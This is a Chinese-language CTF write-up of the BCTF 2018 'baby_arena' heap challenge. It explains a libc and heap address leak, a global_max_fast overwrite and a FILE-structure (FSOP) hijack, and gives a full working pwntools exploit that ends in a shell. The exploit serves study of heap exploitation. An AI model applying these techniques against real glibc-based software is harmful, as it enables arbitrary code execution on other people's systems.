寫在前面

在pwn的泥潭里越陷越深，無法自拔。本次的bctf中，遇到了一個題目，算是我這個萌新的知識盲點(diǎn)，于是，總結(jié)一下，紀(jì)念一下自己菜菜的小進(jìn)步

題目

bctf2018的baby_arena，64位，也是比較簡單的一道題吧

漏洞

這個題，有一個任意地址寫，位于login功能中，但是只能寫'admin'或者'clientele',而且之后的實踐中發(fā)現(xiàn)貌似只能寫'clientele'：

看變量：

就是說接受16個字符的v3是可以到覆蓋到v4的。于是就可以任意寫了，但是8個字符覆蓋剛好到v4，于是后面的回車符被換成\x00被送到v1里，于是只能寫'clientele'了。
還有就是這個題

free以后沒有清空堆的內(nèi)容，然后

這里我們申請剛free的堆塊，只向里面寫少量數(shù)據(jù)，就能泄露fd了，于是就能得到地址了

思路

leak libc地址和heap_base地址

這個當(dāng)然很簡單了，就是直接申請堆，然后釋放，然后再次申請到那里，就可以讀到了：

create(0xa8,'0'*0xa8)
create(0xa8,'1'*0xa8)
dele(0)
create(0xa8,'0')
p.recvuntil('your note is\n')
a = p.recvline()
arena = u64(a+(8-len(a))*'0')%0x1000000000000
libcc = arena - 0x3c4b30
libc.address = libcc
max_fast = arena + 7368
success("libc:"+hex(libcc))
success("global_max_fast:"+hex(max_fast))
#--------
create(0x400,'3'*0x400)
create(0x400,'4'*0x400)
create(0x400,'4'*0x400)
dele(2)
dele(3)
create(0x100,'A'*16+'\n')
p.recvuntil('your note is\n')
p.recvuntil('A'*16)
heap_base = p.recvuntil('\n')[:-1]
heap_base = u64(heap_base + (8-len(heap_base))*'\x00')-0x220
success('heap_base:'+hex(heap_base))

大致就是這樣。

修改global_max_fast

了解過fastbin的童鞋都知道global_max_fast是規(guī)定fastbins的最大大小的，而在得到一個fastbin的時候，為了構(gòu)造fastbin鏈，方便查找，main_arena會存放fastbin鏈，main_arena存放fastbin的鏈時按照fastbin的大小計算位置，所以，如果我們申請的fastbin足夠大，就會從main_arena溢出出去，而main_arena下就有file結(jié)構(gòu)體之類比較重要的結(jié)構(gòu)體，我們可以改這些結(jié)構(gòu)體的虛表地址，使得其在查虛表時，查到我們的堆中，而我們在堆中布好假的虛表，就可以改變程序流。
但是這里題目還有一個限制：

我們最大只能申請5999的堆，但是這樣的話我們就無法溢出到stdout和stdin了，只能到stderr，但是，stderr我一直觸發(fā)不了，真的是無語，（吐槽一句，想觸發(fā)stderr的時候觸發(fā)不了，不想的時候全是error。。。），于是我換了另一種思路，也是剛好把file結(jié)構(gòu)體學(xué)一遍，下面是原理和利用思路

FSOP

基礎(chǔ)知識知識

首先看源碼：

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

這是FILE結(jié)構(gòu)體的內(nèi)容，F(xiàn)ILE結(jié)構(gòu)會通過_chain連接形成一個鏈表，鏈表頭部用全局變量_IO_list_all表示。
接下來看一個函數(shù)的源碼：

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

我們看到如果運(yùn)行到這里

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)

就會調(diào)用_IO_OVERFLOW，就會調(diào)用vtable，也就是虛表。那么只要滿足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base我們的虛表中的_IO_OVERFLOW就會調(diào)用，而且程序是通過_IO_list_all來查找file結(jié)構(gòu)體的。
什么時候會調(diào)用_IO_flush_all_lockp呢？

1.libc執(zhí)行abort流程時
2.執(zhí)行exit函數(shù)時
3.執(zhí)行流從main函數(shù)返回時

這個觸發(fā)的條件就會簡單很多了。于是，do it！??！

利用

首先，我們得改_IO_list_all，這個位置就在stderr的上面，只要知道libc的地址，我們就能得到_IO_list_all的地址，再通過main_arena的溢出，就可以試這個指針指向chunk。
然后我們只要在chunk上布好滿足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base的file結(jié)構(gòu)體就好，
其實這個是比較簡單的。我們只要把file結(jié)構(gòu)體的內(nèi)容置0，然后我們使_IO_write_ptr為1，或者更大，開心就好。
但是，我們要考慮的一點(diǎn)是，我們修改后的_IO_list_all中的值是指向chunk的指針，也就是說chunk的prev_size，size是在fakefile結(jié)構(gòu)體里的，當(dāng)然這個不會有什么大影響，但是，我當(dāng)時寫的時候，就忽略了這一點(diǎn)，使得_IO_write_ptr和vtable都比應(yīng)在的位置高0x10。
于是，在有prev_size，size的條件下，chunk被我布成這個樣子了：

//prev_size，size
fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(0x6020b0-0x18)

這個0x6020b0-0x18其實就是我們構(gòu)建的虛表，這個地址是在login功能中可寫的，（上面有提到），當(dāng)時我們v3溢出到v4賦值到任意地址，v3本身的8個bit也是我們可以寫的，于是我把one_gadget寫在了v3中，如果找不到地址也可以布在堆里，都是可以的。0x6020b0是v3的地址，而OVERFLOW在vtable的位置位于偏移0x18處，于是得到0x6020b0-0x18
這時如果我們exit，我們就可以getshell了

pwn?。?！

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *

#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

p = process('./baby_arena')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one = 0x4526a

def create(size,note):
    p.sendline('1')
    p.recvuntil('Pls Input your note size\n')
    p.sendline(str(size))
    p.recvuntil('Input your note\n')
    p.sendline(note)

def dele(num):
    p.sendline('2')
    p.recvuntil('Input id:\n')
    p.sendline(str(num))

def login(name):
    p.sendline('3')
    p.recvuntil('Please input your name\n')
    p.sendline(name)
    p.recvuntil('1.admin\n')
    #p.sendline(str(num))

#gdb.attach(p)
create(0xa8,'0'*0xa8)
create(0xa8,'1'*0xa8)
dele(0)
create(0xa8,'0')
p.recvuntil('your note is\n')
a = p.recvline()
arena = u64(a+(8-len(a))*'0')%0x1000000000000
libcc = arena - 0x3c4b30
libc.address = libcc
max_fast = arena + 7368
success("libc:"+hex(libcc))
success("global_max_fast:"+hex(max_fast))
#--------
create(0x400,'3'*0x400)
create(0x400,'4'*0x400)
create(0x400,'4'*0x400)
dele(2)
dele(3)
create(0x100,'A'*16+'\n')
p.recvuntil('your note is\n')
p.recvuntil('A'*16)
heap_base = p.recvuntil('\n')[:-1]
heap_base = u64(heap_base + (8-len(heap_base))*'\x00')-0x220
success('heap_base:'+hex(heap_base))


fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(0x6020b0-0x18)

#------
create(5120,fake_file)
payload = p64(libcc + one) +p64(max_fast-8)
login(payload)#one bit \x0a > \x00 。。。。。。
dele(3)

p.sendline('4')
print pidof(p)
p.interactive()

于是：